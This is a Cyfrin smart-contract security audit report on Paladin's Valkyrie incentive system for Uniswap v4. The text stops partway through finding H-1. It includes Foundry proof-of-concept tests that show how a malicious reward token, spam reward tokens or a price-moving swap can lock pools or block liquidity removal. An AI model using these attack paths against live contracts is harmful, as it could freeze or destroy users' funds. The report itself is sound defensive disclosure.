Valkyrie Audit Report

Prepared by Cyfrin

Version 2.0

Lead Auditors

Giovanni Di Siena

Draiakoo

July 23, 2025

Contents

1 About Cyfrin **2**

2 Disclaimer **2**

3 Risk Classification **2**

4 Protocol Summary **2**

5 Audit Scope **2**

6 Executive Summary **2**

7 Findings **6**

7.1 Critical Risk . . . 6

7.1.1 Reward tokens can become inaccessible due to revert when `rewardPerTokenStored` is downcast and overflows . . . 6

7.1.2 `poolRewards` arrays can grow without bounds, resulting in DoS of core functionality . . . 8

7.1.3 Permissionless reward distribution can be abused to cause full denial of service and loss of funds for pools . . . 10

7.2 High Risk . . . 13

7.2.1 Manipulation of price outside of the `FullRangeHook` liquidity range can result in DoS and financial loss to liquidity providers . . . 13

7.2.2 Reward distribution can be blocked by an initial distribution of long duration . . . 19

7.2.3 Swaps performed in pools with zero liquidity can cause a complete DoS of `FullRangeHook` . . . 20

7.2.4 Swaps are not possible on pools registered with Bunni due to incorrect access control in `ValkyrieHooklet::afterSwap` . . . 23

7.2.5 Missing user liquidity sync in `TimeWeightedIncentiveLogic::_updateAllUserState` can result in rewards becoming locked . . . 24

7.2.6 Denial of service for swaps on `MultiRangeHook` pools . . . 28

7.2.7 Rewards can be stolen when `IncentivizedERC20` tokens are recursively provided as liquidity . . . 29

7.2.8 Precision loss can result in funds becoming stuck in incentive logic contracts . . . 36

7.2.9 Rewards distributed with `TimeWeightedIncentiveLogic` can continue to be claimed after the distribution ends . . . 39

7.3 Medium Risk . . . 44

7.3.1 `IncentivizedERC20` should not be hardcoded to 18 decimals . . . 44

7.3.2 ERC-20 tokens that do not implement `symbol()` are incompatible despite being accepted by Uniswap v4 . . . 46

7.3.3 Donations can be made directly to the Uniswap v4 pool due to missing overrides . . . 47

7.3.4 Missing slippage protection when removing liquidity . . . 49

7.3.5 Deposited rewards get stuck in incentive logic contracts when there is no pool liquidity . . . 52

7.3.6 Missing duplicate Incentive Logic can result in Incentive System accounting being broken . . . 53

7.3.7 `TimeWeightedIncentiveLogic` distributions are not possible for tokens that revert on zero transfers . . . 55

7.4 Low Risk . . . 58

7.4.1 Misleading liquidity value returned when adding liquidity . . . 58

7.4.2 Missing tick validation when creating a new range in `MultiRangeHook` . . . 60

7.4.3 Missing zero address validation in `BoostedIncentiveLogic` . . . 61

7.4.4 Value mistakenly sent to `PoolCreator` can be permanently locked . . . 61

7.4.5 Unsafe downcast in `ValkyrieSubscriber::toInt256` could silently overflow . . . 62

7.4.6 Positions can be locked by malicious re-initialization in the event of multiple `ValkyrieSubscriber` contracts being deployed . . . 63

7.4.7 Inability to remove hooks and Incentive Systems from the Incentive Manager . . . 65

7.5 Informational . . . 66

7.5.1 The updated version of `BaseHook` should be used . . . 66

7.5.2 Unused custom errors and constants can be removed . . . 66

7.5.3 Insufficient validation on the pool key in liquidity-modifying functions . . . 66
7.5.4 Various typographical errors should be fixed . . . 67
7.5.5 Unnecessary `BoostedIncentiveLogic` functions can be removed . . . 72
7.5.6 Use `days` keyword for better readability . . . 72
7.6 Gas Optimization . . . 73
7.6.1 Unnecessary native token checks . . . 73
7.6.2 Unnecessary liquidity read and subtraction operation can be removed . . . 73
7.6.3 Unnecessary liquidity sync can be removed . . . 75
7.6.4 Cache `amount` variable should be used within loop to save gas . . . 77
7.6.5 Cache storage reads in `TimeWeightedIncentiveLogic` . . . 77
7.6.6 Superfluous assignment can be removed . . . 78

1 About Cyfrin

Cyfrin is a Web3 security company dedicated to bringing industry-leading protection and education to our partners and their projects. Our goal is to create a safe, reliable, and transparent environment for everyone in Web3 and DeFi. Learn more about us at cyfrin.io.

2 Disclaimer

The Cyfrin team makes every effort to find as many vulnerabilities in the code as possible in the given time but holds no responsibility for the findings in this document. A security audit by the team does not endorse the underlying business or product. The audit was time-boxed and the review of the code was solely on the security aspects of the solidity implementation of the contracts.

3 Risk Classification

	Impact: High	**Impact: Medium**	**Impact: Low**
Likelihood: High	Critical	High	Medium
Likelihood: Medium	High	Medium	Low
Likelihood: Low	Medium	Low	Low

4 Protocol Summary

Valkyrie is an incentivized liquidity system built on Uniswap v4. It features custom `FullRange` and `MultiRange` Hooks, a Uniswap v4 periphery Subscriber, and a Bunni v2 Hooklet. Incentives are managed by the `IncentiveManager` and distributed by various logic contracts, including `BasicIncentiveLogic`, `BoostedIncentiveLogic`, and `TimeWeightedIncentiveLogic`.

5 Audit Scope

All files present in the `src` directory of the Valkyrie repo at commit hash 6b97685 were included in the scope of the audit.

6 Executive Summary

Over the course of 10 days, the Cyfrin team conducted an audit on the Valkyrie smart contracts provided by Paladin. In this period, a total of 38 issues were found.

This review of the Valkyrie smart contracts yielded a combined total of 12 critial and high severity vulnerabilities. An additional 7 medium severity vulnerabilities were also reported. The main source of the most severe issues were various forms of denial of service, originating from malicious actions, unhandled overflows, precision loss, and other implementation errors that resulted in the degradation of functionality and/or funds becoming inaccessible/stolen.

It is pertinent to note that testing of the Bunni v2 integration is currently fully mocked and this should be updated once the codebase is publicly available.

Considering the number of issues identified, it is statistically likely that there are more complex bugs still present that could not be identified given the time-boxed nature of this engagement. Due to the number of issues identified, the non-trivial changes required during mitigation, and the short turnaround time for reviewing the mitigation

fixes, it is recommended that a competitive audit be undertaken prior to deploying significant monetary capital to production.

Summary

Project Name	Valkyrie
Repository	Valkyrie
Commit	6b97685d127c...
Audit Timeline	Feb 24th - Mar 7th
Methods	Manual Review

Issues Found

Critical Risk	3
High Risk	9
Medium Risk	7
Low Risk	7
Informational	6
Gas Optimizations	6
Total Issues	38

Summary of Findings

[C-1] Reward tokens can become inaccessible due to revert when `rewardPerTokenStored` is downcast and overflows	Resolved
[C-2] `poolRewards` arrays can grow without bounds, resulting in DoS of core functionality	Resolved
[C-3] Permissionless reward distribution can be abused to cause full denial of service and loss of funds for pools	Resolved
[H-1] Manipulation of price outside of the `FullRangeHook` liquidity range can result in DoS and financial loss to liquidity providers	Resolved
[H-2] Reward distribution can be blocked by an initial distribution of long duration	Resolved
[H-3] Swaps performed in pools with zero liquidity can cause a complete DoS of `FullRangeHook`	Resolved
[H-4] Swaps are not possible on pools registered with Bunni due to incorrect access control in `ValkyrieHooklet::afterSwap`	Resolved
[H-5] Missing user liquidity sync in `TimeWeightedIncentiveLogic::_updateAllUserState` can result in rewards becoming locked	Resolved
[H-6] Denial of service for swaps on `MultiRangeHook` pools	Resolved

[H-7] Rewards can be stolen when `IncentivizedERC20` tokens are recursively provided as liquidity	Acknowledged
[H-8] Precision loss can result in funds becoming stuck in incentive logic contracts	Resolved
[H-9] Rewards distributed with `TimeWeightedIncentiveLogic` can continue to be claimed after the distribution ends	Resolved
[M-1] `IncentivizedERC20` should not be hardcoded to 18 decimals	Resolved
[M-2] ERC-20 tokens that do not implement `symbol()` are incompatible despite being accepted by Uniswap v4	Acknowledged
[M-3] Donations can be made directly to the Uniswap v4 pool due to missing overrides	Acknowledged
[M-4] Missing slippage protection when removing liquidity	Resolved
[M-5] Deposited rewards get stuck in incentive logic contracts when there is no pool liquidity	Resolved
[M-6] Missing duplicate Incentive Logic can result in Incentive System accounting being broken	Resolved
[M-7] `TimeWeightedIncentiveLogic` distributions are not possible for tokens that revert on zero transfers	Resolved
[L-1] Misleading liquidity value returned when adding liquidity	Resolved
[L-2] Missing tick validation when creating a new range in `MultiRangeHook`	Resolved
[L-3] Missing zero address validation in `BoostedIncentiveLogic`	Resolved
[L-4] Value mistakenly sent to `PoolCreator` can be permanently locked	Resolved
[L-5] Unsafe downcast in `ValkyrieSubscriber::toInt256` could silently overflow	Resolved
[L-6] Positions can be locked by malicious re-initialization in the event of multiple `ValkyrieSubscriber` contracts being deployed	Resolved
[L-7] Inability to remove hooks and Incentive Systems from the Incentive Manager	Resolved
[I-1] The updated version of `BaseHook` should be used	Acknowledged
[I-2] Unused custom errors and constants can be removed	Resolved
[I-3] Insufficient validation on the pool key in liquidity-modifying functions	Resolved
[I-4] Various typographical errors should be fixed	Resolved
[I-5] Unnecessary `BoostedIncentiveLogic` functions can be removed	Resolved
[I-6] Use `days` keyword for better readability	Resolved
[G-1] Unnecessary native token checks	Acknowledged
[G-2] Unnecessary liquidity read and subtraction operation can be removed	Resolved
[G-3] Unnecessary liquidity sync can be removed	Acknowledged
[G-4] Cache `amount` variable should be used within loop to save gas	Resolved
[G-5] Cache storage reads in `TimeWeightedIncentiveLogic`	Resolved

[G-6] Superfluous assignment can be removed	Resolved

7 Findings

7.1 Critical Risk

7.1.1 Reward tokens can become inaccessible due to revert when `rewardPerTokenStored` is downcast and overflows

Description: The return value of `_newRewardPerToken()` that is assigned to the `rewardPerTokenStored` state variable present in all incentive logic contracts is not safe to be type casted to `uint96` because it can easily overflow. The computation in which the scaling up of precision by `UNIT` should be noted is shown below:

```
function _newRewardPerToken(IncentivizedPoolId id, address token) internal view override returns
↪  (uint256) {
    uint256 _totalSupply = poolStates[id].totalLiquidity;
    RewardData memory _state = poolRewardData[id][token];
    if (_totalSupply == 0) return _state.rewardPerTokenStored;

    uint256 lastUpdateTimeApplicable = block.timestamp < _state.endTimestamp ? block.timestamp :
    ↪  _state.endTimestamp;

    // decimals analysis: (seconds * (rewardDecimals / seconds) * 18 decimals) / liquidityDecimals =
    ↪  rewardDecimals + 18 - liquidityDecimals
    return _state.rewardPerTokenStored
        + ((((lastUpdateTimeApplicable - _state.lastUpdateTime) * _state.ratePerSec) * UNIT) /
        ↪  _totalSupply);
}
```

The result of the above computation will have `rewardDecimals + 18 - liquidityDecimals` as demonstrated in the comment. This becomes particularly problematic when the decimals of the reward token and the liquidity token differ. For instance, a reward token with 18 decimals and a Uniswap v4 liquidity token with 6 decimals would overflow as demonstrated in the PoC below.

Depending on the relative position of the current tick to those of the liquidity, Uniswap v4 pools liquidity inherit the decimal precision of either currency. For example, if a given pool comprises a 6-decimal `token0` and an 18-decimal `token0`, the output liquidity will either be in 6 or 18 decimals. For the `FullRangeHook` in particular, the intention is for the price of the pool to always reside between the defined limits such that execution is expected to always occur inside the middle `else if` branch:

```
function getLiquidityForAmounts(
    uint160 sqrtRatioX96,
    uint160 sqrtRatioAX96,
    uint160 sqrtRatioBX96,
    uint256 amount0,
    uint256 amount1
) internal pure returns (uint128 liquidity) {
    if (sqrtRatioAX96 > sqrtRatioBX96) (sqrtRatioAX96, sqrtRatioBX96) = (sqrtRatioBX96, sqrtRatioAX96);

    if (sqrtRatioX96 <= sqrtRatioAX96) {
        liquidity = getLiquidityForAmount0(sqrtRatioAX96, sqrtRatioBX96, amount0);
    } else if (sqrtRatioX96 < sqrtRatioBX96) {
        uint128 liquidity0 = getLiquidityForAmount0(sqrtRatioX96, sqrtRatioBX96, amount0);
        uint128 liquidity1 = getLiquidityForAmount1(sqrtRatioAX96, sqrtRatioX96, amount1);

        liquidity = liquidity0 < liquidity1 ? liquidity0 : liquidity1;
    } else {
        liquidity = getLiquidityForAmount1(sqrtRatioAX96, sqrtRatioBX96, amount1);
    }
}
```

Therefore, in this example, its liquidity should always be in 6 decimals.

```
function test_LessThan18Decimals() public {
    MockERC20 token0WithLessDecimals = new MockERC20("TEST1", "TEST1", 18);
    token0WithLessDecimals.mint(address(this), 1_000_000 * 10 ** 18);
    MockERC20 token1WithLessDecimals = new MockERC20("TEST2", "TEST2", 6);
    token1WithLessDecimals.mint(address(this), 1_000_000 * 10 ** 6);

    PoolKey memory newKey = createPoolKey(address(token0WithLessDecimals),
    ↪  address(token1WithLessDecimals), 3000, hookAddress);
    PoolId newId = newKey.toId();

    token0WithLessDecimals.approve(address(fullRange), type(uint256).max);
    token1WithLessDecimals.approve(address(fullRange), type(uint256).max);

    initPool(newKey.currency0, newKey.currency1, IHooks(hookAddress), 3000, SQRT_PRICE_1_1);

    uint128 liquidityMinted = fullRange.addLiquidity(
        FullRangeHook.AddLiquidityParams(
            newKey.currency0,
            newKey.currency1,
            3000,
            100 * 10 ** 18,
            100 * 10 ** 6,
            0,
            0,
            address(this),
            MAX_DEADLINE
        )
    );

    assertEq(liquidityMinted, 100 * 10 ** 6);
}
```

The checked type cast is subsequently performed in `_updateRewardState()` where any overflow will revert:

```
function _updateRewardState(IncentivizedPoolId id, address token, address account) internal virtual {
    ...
    uint96 newRewardPerToken = _newRewardPerToken(id, token).toUint96();
    _state.rewardPerTokenStored = newRewardPerToken;
    ...
}
```

Given this is called within `BaseIncentiveLogic::_claim`, which itself is called in `BaseIncentiveLogic::claim`, any revert due to overflow will prevent the reward tokens from being claimed.

Impact: A Uniswap pool with just one 6-decimal token (eg. USDC, USDT on Ethereum) will result in `FullRangeHook` liquidity having 6-decimal precision. This results in an intermediate return value being larger than expected such that execution reverts when downcasting. Reward tokens will remain locked in the contract and only the generated fees will be able to be retrieved.

Proof of Concept: The following test should be placed in `BasicIncentiveLogic.t.sol`:

```
function test_incentivesWithLessThan18Decimals() public {
    PoolId poolKey;
    IncentivizedPoolId poolId;
    address lpToken = address(7);

    poolKey = createPoolKey(address(1), address(2), 3000).toId();
    poolId = IncentivizedPoolKey({ id: poolKey, lpToken: lpToken }).toId();

    manager.setListedPool(poolId, true);
```

```
    address[] memory systems = new address[](1);
    systems[0] = address(logic);

    // Liquidity is in 6 decimals
    manager.notifyAddLiquidty(systems, poolKey, lpToken, user1, int256(100 * 10 ** 6));

    uint256 amount = 1000 ether;
    uint256 duration = 2 weeks;

    // Some tokens are deposited to be distributed during 2 weeks
    logic.depositRewards(poolId, address(token0), amount, duration);

    skip(2 weeks);

    // After 2 weeks, the only liquidity holder tries to claim the tokens
    // This reverts to an overflow during type casting
    vm.expectRevert();
    vm.prank(user1);
    uint256 claimedAmount = logic.claim(poolId, address(token0), user1, user1);
}
```

Recommended Mitigation: Storing this `rewardPerTokenStored` value directly in a full `uint256` is highly recommended:

```
    function _updateRewardState(IncentivizedPoolId id, address token, address account) internal virtual
    ↪  {
        ...
--      uint96 newRewardPerToken = _newRewardPerToken(id, token).toUint96();
++      uint256 newRewardPerToken = _newRewardPerToken(id, token);
        _state.rewardPerTokenStored = newRewardPerToken;
        ...
    }
```

Note that all other interactions with this variable need to be adjusted accordingly for this to work.

Paladin: Fixed by commit 6bb56b5.

Cyfrin: Verified. The packing of `RewardData` and `UserRewardData` structs have been modified to account for the increase in `rewardPerTokenStored` width; however, the following remaining issues were identified:

- `BaseIncentiveLogic::_updateRewardState` still casts to `uint96`:

```
uint256 newRewardPerToken = _newRewardPerToken(id, token).toUint96();
```

- `TimeWeightedIncentiveLogic::_updateRewardState` still casts to `uint96`:

```
_state.rewardPerTokenStored = newRewardPerToken.toUint96();
```

Paladin: Fixed by commit d7275a2. The fix for `BaseIncentiveLogic` was done in a previous commit and is no longer present in the latest version of the branch.

Cyfrin: Verified. The downcasts have been removed.

7.1.2 `poolRewards` arrays can grow without bounds, resulting in DoS of core functionality

Description: The `poolRewards` mapping maintains an array of reward token addresses for a given `IncentivizedPoolId`. Given that the distribution of rewards is permissionless, anyone can invoke this functionality with arbitrary ERC-20 tokens to cause the array to grow without bounds. The implication of looping over an unbounded array and associated Out Of Gas error is the DoS of the following functions:

1. `_updateAllRewardState()` which is called in `updateRewardState()`:

```
function _updateAllRewardState(IncentivizedPoolId id) internal virtual {
    address[] memory _tokens = poolRewards[id];
    uint256 _length = _tokens.length;
    for (uint256 i; i < _length; i++) {
        _updateRewardState(id, _tokens[i], address(0));
    }
}
```

This is not very severe as it simply prevents manual triggering of reward state updates.

2. `_updateAllUserState()` which is called in `updateUserState()`, `notifyBalanceChange()` and `notifyTransfer()`:

```
function _updateAllUserState(IncentivizedPoolId id, address account) internal virtual {
    if(!userLiquiditySynced[id][account]) {
        _syncUserLiquidity(id, account);
        userLiquiditySynced[id][account] = true;
    }

    address[] memory _tokens = poolRewards[id];
    uint256 _length = _tokens.length;
    for (uint256 i; i < _length; i++) {
        _updateRewardState(id, _tokens[i], account);
    }
}
```

This is critical because reverting the notification of balance change and transfer will DoS the hooks and for instance the Uniswap pool interactions. Furthermore, this function is also used in `TimeWeightedIncentiveLogic::claim` and `TimeWeightedIncentiveLogic::claimAll` which will result in loss of user funds as they are not able to retrieve the rewards.

3. `earnedAll()`:

```
    function earnedAll(IncentivizedPoolId id, address account) external view virtual returns
    ↪  (EarnedData[] memory _earnings) {
        address[] memory _tokens = poolRewards[id];
        uint256 _length = _tokens.length;
        _earnings = new EarnedData[](_length);
        for (uint256 i; i < _length; i++) {
            _earnings[i].token = _tokens[i];
            _earnings[i].amount = _earned(id, _tokens[i], account);
        }
    }
```

This is not very severe as it does not affect on-chain execution.

4. `claimAll()`:

```
    function claimAll(IncentivizedPoolId id, address account, address recipient)
        external
        virtual
        nonReentrant
        returns (ClaimedData[] memory _claims)
    {
        _checkClaimer(account, recipient);

        address[] memory _tokens = poolRewards[id];
        uint256 _length = _tokens.length;
        _claims = new ClaimedData[](_length);
        for (uint256 i; i < _length; i++) {
            _claims[i].token = _tokens[i];
            _claims[i].amount = _claim(id, _tokens[i], account, recipient);
```

```
        }
    }
```

This is not very severe as it simply prevents batch claiming of rewards.

Impact: This finding has critical impact due to low cost to perform an attack (distributing fake/worthless ERC-20 tokens is permissionless) and the implications for critical functions such as `notifyBalanceChange()`, `notifyTransfer()`, and `TimeWeightedIncentiveLogic::claim()`.

Recommended Mitigation: Reward distribution should be limited to permissioned, widely-used/valuable ERC-20 tokens to prevent attackers from filling the arrays with spam tokens.

Paladin: Fixed by commit b95ae97.

Cyfrin: Verified. A reward token allowlist has been implemented.

7.1.3 Permissionless reward distribution can be abused to cause full denial of service and loss of funds for pools

Description: The distribution of reward token incentives is a permissionless action, meaning that anyone can create a worthless token and mint a large amount to be distributed. Whenever a notification is made from the incentive manager to the logic on some change within the pool, the `_updateAllUserState()` function is triggered. This updates the new reward data for each of the tokens that the pool has registered:

```
function _updateAllUserState(IncentivizedPoolId id, address account) internal virtual {
    if(!userLiquiditySynced[id][account]) {
        _syncUserLiquidity(id, account);
        userLiquiditySynced[id][account] = true;
    }

    address[] memory _tokens = poolRewards[id];
    uint256 _length = _tokens.length;
    for (uint256 i; i < _length; i++) {
        _updateRewardState(id, _tokens[i], account);
    }
}

function _updateRewardState(IncentivizedPoolId id, address token, address account) internal virtual {
    // Sync pool total liquidity if not already done
    if(!poolSynced[id]) {
        _syncPoolLiquidity(id);
        poolSynced[id] = true;
    }

    RewardData storage _state = poolRewardData[id][token];
    uint96 newRewardPerToken = _newRewardPerToken(id, token).toUint96();
    _state.rewardPerTokenStored = newRewardPerToken;

    uint32 endTimestampCache = _state.endTimestamp;
    _state.lastUpdateTime = block.timestamp < endTimestampCache ? block.timestamp.toUint32() :
    ↪  endTimestampCache;

    // Update user state if an account is provided
    if (account != address(0)) {
        if(!userLiquiditySynced[id][account]) {
            _syncUserLiquidity(id, account);
            userLiquiditySynced[id][account] = true;
        }

        UserRewardData storage _userState = userRewardStates[id][account][token];
        _userState.accrued = _earned(id, token, account).toUint160();
        _userState.lastRewardPerToken = newRewardPerToken;
```

```
    }
}

function _newRewardPerToken(IncentivizedPoolId id, address token) internal view override returns
↪  (uint256) {
    uint256 _totalSupply = poolStates[id].totalLiquidity;
    RewardData memory _state = poolRewardData[id][token];
    if (_totalSupply == 0) return _state.rewardPerTokenStored;

    uint256 lastUpdateTimeApplicable = block.timestamp < _state.endTimestamp ? block.timestamp :
    ↪  _state.endTimestamp;

    return _state.rewardPerTokenStored
        + ((((lastUpdateTimeApplicable - _state.lastUpdateTime) * _state.ratePerSec) * UNIT) /
        ↪  _totalSupply);
}
```

If the distribution amount is close to overflowing `uint96` at some point, the locally scoped `_newRewardPerToken` to which `_state.rewardPerTokenStored` is assigned will overflow and the pool and incentives will be permanently locked.

While there was another issue reported on this overflow which can occur without the need for a malicious action when considering valuable tokens with low decimal precision, the recommended mitigation of increasing the size of the storage variable is not sufficient in this case. The malicious depositor is free to create tokens such that the token distribution can always be adjusted such that it is close to overflowing `uint256` to trigger this attack.

Proof of Concept: This following test should be placed within `BasicIncentiveLogic.t.sol`:

```
function test_MaliciousToken() public {
    MockERC20 token3 = new MockERC20("TEST", "TEST", 18);
    token3.mint(address(this), 2 ** 128);
    token3.approve(address(logic), 2 ** 128);

    PoolId poolKey;
    IncentivizedPoolId poolId;
    address lpToken = address(7);

    poolKey = createPoolKey(address(1), address(2), 3000).toId();
    poolId = IncentivizedPoolKey({ id: poolKey, lpToken: lpToken }).toId();

    manager.setListedPool(poolId, true);
    logic.updateDefaultFee(0);

    address[] memory systems = new address[](1);
    systems[0] = address(logic);

    manager.notifyAddLiquidty(systems, poolKey, lpToken, user1, int256(1 ether));

    uint256 amountNotOverflow = 4791719268862707137657538116260800O;
    uint256 duration = 1 weeks;

    logic.depositRewards(poolId, address(token3), amountNotOverflow, duration);

    // The malicious user sets the ratePerSec to the maximum number that uint96 can hold
    (, , uint256 ratePerSec, ) = logic.poolRewardData(poolId, address(token3));
    assertEq(ratePerSec, type(uint96).max);

    // After 2 seconds, the pool is completely locked because of overflowing when computing
    // the _newRewardPerToken and downcasting to uint96
    skip(2);

    // The pool is completely DoSd and the user that has liquidity in the pool lost all their
```

```
    // funds because they can not remove them
    vm.expectRevert();
    manager.notifyRemoveLiquidty(systems, poolKey, lpToken, user1, -int256(1 ether));
}
```

Impact: The impact is critical, since this not only prevents further reward distribution but also results in a loss of funds as honest users are prevented from removing their existing liquidity from the pool.

Recommended Mitigation: Reward distribution should be permissioned to such that malicious tokens with no intrinsic value that can artificially manipulate supply cannot be leveraged in such an attack.

Paladin: Fixed by commit b95ae97.

Cyfrin: Verified. A reward token allowlist has been implemented.

7.2 High Risk

7.2.1 Manipulation of price outside of the `FullRangeHook` liquidity range can result in DoS and financial loss to liquidity providers

Description: The minimum and maximum ticks used by the `FullRangeHook` differ from those defined in Uniswap V4 pools:

```
FullRangeHook.sol:
 /// @dev Min tick for full range with tick spacing of 60
int24 internal constant MIN_TICK = -887220;
/// @dev Max tick for full range with tick spacing of 60
int24 internal constant MAX_TICK = -MIN_TICK;

TickMath.sol:
/// @dev The minimum tick that may be passed to #getSqrtPriceAtTick computed from log base 1.0001 of
↪  2**-128
/// @dev If ever MIN_TICK and MAX_TICK are not centered around 0, the absTick logic in
↪  getSqrtPriceAtTick cannot be used
int24 internal constant MIN_TICK = -887272;
/// @dev The maximum tick that may be passed to #getSqrtPriceAtTick computed from log base 1.0001 of
↪  2**128
/// @dev If ever MIN_TICK and MAX_TICK are not centered around 0, the absTick logic in
↪  getSqrtPriceAtTick cannot be used
int24 internal constant MAX_TICK = 887272;
```

This means that there are two regions into which the price can move to become outside the range of the liquidity. This is against the intended behavior that the price of a pool configured with the `FullRangeHook` will always be between the defined limits such that execution is expected to always occur inside the middle `else if` branch:

```
function getLiquidityForAmounts(
    uint160 sqrtRatioX96,
    uint160 sqrtRatioAX96,
    uint160 sqrtRatioBX96,
    uint256 amount0,
    uint256 amount1
) internal pure returns (uint128 liquidity) {
    if (sqrtRatioAX96 > sqrtRatioBX96) (sqrtRatioAX96, sqrtRatioBX96) = (sqrtRatioBX96, sqrtRatioAX96);

    if (sqrtRatioX96 <= sqrtRatioAX96) {
        liquidity = getLiquidityForAmount0(sqrtRatioAX96, sqrtRatioBX96, amount0);
    } else if (sqrtRatioX96 < sqrtRatioBX96) {
        uint128 liquidity0 = getLiquidityForAmount0(sqrtRatioX96, sqrtRatioBX96, amount0);
        uint128 liquidity1 = getLiquidityForAmount1(sqrtRatioAX96, sqrtRatioX96, amount1);

        liquidity = liquidity0 < liquidity1 ? liquidity0 : liquidity1;
    } else {
        liquidity = getLiquidityForAmount1(sqrtRatioAX96, sqrtRatioBX96, amount1);
    }
}
```

However, if the price moves outside of this tick range, this is not the case. The liquidity computation will be significantly different from what is expected and can lead to a DoS of the pool or a loss of value to liquidity providers.

Proof of Concept: The following test that should be placed within `FullRangeHook.t.sol` first analyzes the extreme difference in liquidity computation:

```
function test_LiquidityManipulation() public {
    uint160 sqrtMaxTickUniswap = TickMath.getSqrtPriceAtTick(887272);

    uint256 liquidity = LiquidityAmounts.getLiquidityForAmounts(
```

```
        SQRT_PRICE_1_1,
        TickMath.getSqrtPriceAtTick(MIN_TICK),
        TickMath.getSqrtPriceAtTick(MAX_TICK),
        100 * 10 ** 18,
        100 * 10 ** 18
    );

    uint256 manipulatedLiquidity = LiquidityAmounts.getLiquidityForAmounts(
        sqrtMaxTickUniswap,
        TickMath.getSqrtPriceAtTick(MIN_TICK),
        TickMath.getSqrtPriceAtTick(MAX_TICK),
        100 * 10 ** 18,
        100 * 10 ** 18
    );

    console.log(liquidity);
    console.log(manipulatedLiquidity);
}
```

Output:

```
Ran 1 test for test/FullRangeHook.t.sol:TestFullRangeHook
[PASS] test_LiquidityManipulation() (gas: 11805)
Logs:
  100000000000000000005
  5
```

As can be seen in the output above, given the same amount of tokens (`100e18`) the computed liquidity differs significantly when the price is within the expected tick range versus outside. In the first case, the liquidity is computed as `100e18` which is related to the amount of deposited tokens, whereas the latter case computes a liquidity amount of only `5` while still consuming the same amount of tokens.

This discrepancy can be leveraged by an attacker to create a DoS in the pool by moving the price of the pool to a tick outside the intended liquidity range immediately after initialization. This can be easily achieved by executing a swap against the pool in the desired direction while there is still no liquidity. Once the price is outside the range, the validation performed to ensure that the first depositor has minted the minimum liquidity would fail since the computed liquidity value would be so small. As such, this would force a huge deposit amount to pass the validation which would represent a loss of funds to the depositor.

```
uint256 liquidityMinted;
if (poolLiquidity == 0) {
    // permanently lock the first MINIMUM_LIQUIDITY tokens
    liquidityMinted = liquidity - MINIMUM_LIQUIDITY;
    poolLiquidityToken.mint(address(0), MINIMUM_LIQUIDITY);
    // Mint the LP tokens to the user
    poolLiquidityToken.mint(params.to, liquidityMinted);
} else {
    ...
}
```

In concrete terms, more than `18000e18` tokens would be needed for an 18-decimal token to reach the minimum liquidity requirement of `1e3`:

```
function test_LiquidityManipulation() public {
    uint160 sqrtMaxTickUniswap = TickMath.getSqrtPriceAtTick(887272);

    uint256 manipulatedLiquidity = LiquidityAmounts.getLiquidityForAmounts(
        sqrtMaxTickUniswap,
        TickMath.getSqrtPriceAtTick(MIN_TICK),
        TickMath.getSqrtPriceAtTick(MAX_TICK),
        18000 * 10 ** 18,
```

```
        18000 * 10 ** 18
    );

    console.log(manipulatedLiquidity);
}
```

Output:

```
Ran 1 test for test/FullRangeHook.t.sol:TestFullRangeHook
[PASS] test_LiquidityManipulation() (gas: 11805)
Logs:
  978
```

For tokens with fewer than 18 decimals, such as USDC which has 6, it would not be possible to satisfy this minimum liquidity requirement and the pool would be permanently frozen.

The following test, which should be placed within`FullRangeHook.t.sol`, provides a demonstration of how an attacker could move the price outside of the intended range after initialization of the pool but while it still has no liquidity:

```
function test_DoSMaximumTick() public {
    uint160 sqrtMaxTickUniswap = TickMath.getSqrtPriceAtTick(887271);

    manager.initialize(key, SQRT_PRICE_1_1);

    IPoolManager.SwapParams memory params;
    HookEnabledSwapRouter.TestSettings memory settings;

    params =
        IPoolManager.SwapParams({ zeroForOne: false, amountSpecified: type(int256).min,
        ↪  sqrtPriceLimitX96: sqrtMaxTickUniswap });
    settings =
        HookEnabledSwapRouter.TestSettings({ takeClaims: false, settleUsingBurn: false });

    router.swap(key, params, settings, ZERO_BYTES);

    (uint160 poolPrice,,,) = manager.getSlot0(key.toId());
    assertEq(poolPrice, sqrtMaxTickUniswap);
}
```

Note that it is required to comment out the following line of code within `HookEnabledSwapRouter` for the test to run:

```
function unlockCallback(bytes calldata rawData) external returns (bytes memory) {
    ...
    // Make sure youve added liquidity to the test pool!
    // @audit disabled this for testing purposes
    // if (BalanceDelta.unwrap(delta) == 0) revert NoSwapOccurred();
    ...
}
```

This is simply a helper function designed to execute swaps in the tests while preventing those of 0 delta.

Note that despite the above test, it is also possible to move the price outside of the liquidity range even when there is liquidity in the pool. The attack is more costly but has greater impact, since it will not only affect the liquidity computation for subsequent additions as demonstrated above but also will DoS the addition of liquidity because the `_rebalance()` function will revert:

```
function _rebalance(PoolKey memory key) public {
    PoolId poolId = key.toId();
    // Remove all the liquidity from the Pool
    (BalanceDelta balanceDelta,) = poolManager.modifyLiquidity(
        key,
```

```
        IPoolManager.ModifyLiquidityParams({
            tickLower: MIN_TICK,
            tickUpper: MAX_TICK,
            liquidityDelta: -(poolManager.getLiquidity(poolId).toInt256()),
            salt: 0
        }),
        ZERO_BYTES
    );

    // Calculate the new sqrtPriceX96
    uint160 newSqrtPriceX96 = (
        FixedPointMathLib.sqrt(
            FullMath.mulDiv(uint128(balanceDelta.amount1()), FixedPoint96.Q96,
            ↪  uint128(balanceDelta.amount0()))
        ) * FixedPointMathLib.sqrt(FixedPoint96.Q96)
    ).toUint160();
    ...
}
```

It first removes all the liquidity and then computes the new square root price; however, if the price has been manipulated to lay outside the intended liquidity range, this removal will be single-sided in only one of the pool tokens. This will therefore cause a panic revert when attempting to compute the new square root price due to division by a zero amount of `token0`:

```
function test_RebalanceWhenPriceIsOutsideTickRange() public {
    manager.initialize(key, SQRT_PRICE_1_1);
    uint160 sqrtMaxTickUniswap = TickMath.getSqrtPriceAtTick(887271);
    uint160 sqrtMinTickUniswap = TickMath.getSqrtPriceAtTick(-887271);

    uint256 prevBalance0 = key.currency0.balanceOf(address(this));
    uint256 prevBalance1 = key.currency1.balanceOf(address(this));
    (, address liquidityToken) = fullRange.poolInfo(id);

    fullRange.addLiquidity(
        FullRangeHook.AddLiquidityParams(
            key.currency0, key.currency1, 3000, 10e6, 10e6, 0, 0, address(this), MAX_DEADLINE
        )
    );

    uint256 prevLiquidityTokenBal = IncentivizedERC20(liquidityToken).balanceOf(address(this));

    IPoolManager.SwapParams memory params =
        IPoolManager.SwapParams({ zeroForOne: false, amountSpecified:
        ↪  -int256(key.currency0.balanceOfSelf()), sqrtPriceLimitX96: sqrtMaxTickUniswap });
